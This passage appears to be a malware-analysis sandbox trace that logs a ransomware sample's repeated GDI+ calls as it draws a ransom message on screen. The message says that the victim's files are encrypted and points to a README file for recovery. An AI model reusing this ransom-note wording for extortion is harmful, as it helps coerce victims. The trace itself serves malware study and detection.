key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.697] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.697] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.697] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.697] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ce68) returned 0x0 [0159.697] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.697] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.697] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.698] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.698] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.698] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.698] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cee0) returned 0x0 [0159.698] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.698] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.698] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.699] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.699] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.699] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.699] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cf58) returned 0x0 [0159.699] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.699] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.699] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.702] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.702] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.702] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.702] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cfd0) returned 0x0 [0159.702] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.702] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.702] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.702] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.703] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.703] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.703] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d048) returned 0x0 [0159.703] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.703] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.703] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.703] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.704] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.704] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.704] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d0c0) returned 0x0 [0159.704] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.704] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.704] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.704] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.704] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.705] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.705] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d138) returned 0x0 [0159.705] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.705] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.705] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.705] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.705] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.705] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.706] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d1b0) returned 0x0 [0159.706] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.706] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.706] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.706] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.706] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.707] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.707] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d228) returned 0x0 [0159.707] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.707] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.707] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.707] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.707] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.708] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.708] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d2a0) returned 0x0 [0159.708] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.708] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.708] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.709] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.709] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.709] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.709] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d318) returned 0x0 [0159.709] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.709] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.709] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.710] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.710] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.710] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.710] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d390) returned 0x0 [0159.710] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.710] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.710] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.711] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.711] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.711] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.711] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d408) returned 0x0 [0159.711] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.711] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.711] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.712] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.712] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.712] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.712] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d480) returned 0x0 [0159.712] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.712] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.712] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.713] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.713] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.713] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.713] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d4f8) returned 0x0 [0159.713] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.713] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.713] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.714] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.714] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.714] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.714] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d570) returned 0x0 [0159.714] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.714] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.714] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.715] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.715] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.715] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.715] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d5e8) returned 0x0 [0159.715] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.715] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.715] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.716] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.716] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.716] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.716] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d660) returned 0x0 [0159.716] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.716] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.716] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.717] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.717] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.718] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.718] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d6d8) returned 0x0 [0159.718] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.718] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.718] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.718] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.718] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.719] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.719] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d750) returned 0x0 [0159.719] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.719] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.719] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.719] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.719] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.720] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.720] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d7c8) returned 0x0 [0159.720] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.720] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.720] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.720] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.720] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.721] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.721] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d840) returned 0x0 [0159.721] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.721] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.721] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.721] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.721] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.722] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.722] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d8b8) returned 0x0 [0159.722] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.722] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.722] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.722] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.722] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.722] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.723] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d930) returned 0x0 [0159.723] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.723] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.723] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.723] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.723] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.723] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.724] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220d9a8) returned 0x0 [0159.724] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.724] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.724] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.724] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.724] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.724] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.724] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220da20) returned 0x0 [0159.725] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.725] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.725] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.725] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.725] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.725] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.725] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220da98) returned 0x0 [0159.726] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.726] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.726] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.726] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.726] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.726] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.726] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220db10) returned 0x0 [0159.726] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.727] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.727] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.727] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.727] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.727] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.727] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220db88) returned 0x0 [0159.727] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.728] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.728] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.728] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.728] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.728] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.728] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220dc00) returned 0x0 [0159.728] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.729] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.729] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.729] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.729] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.729] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.729] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220dc78) returned 0x0 [0159.729] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.729] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.730] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.730] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.730] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.730] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.730] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220dcf0) returned 0x0 [0159.730] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.730] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.730] GdipDrawString 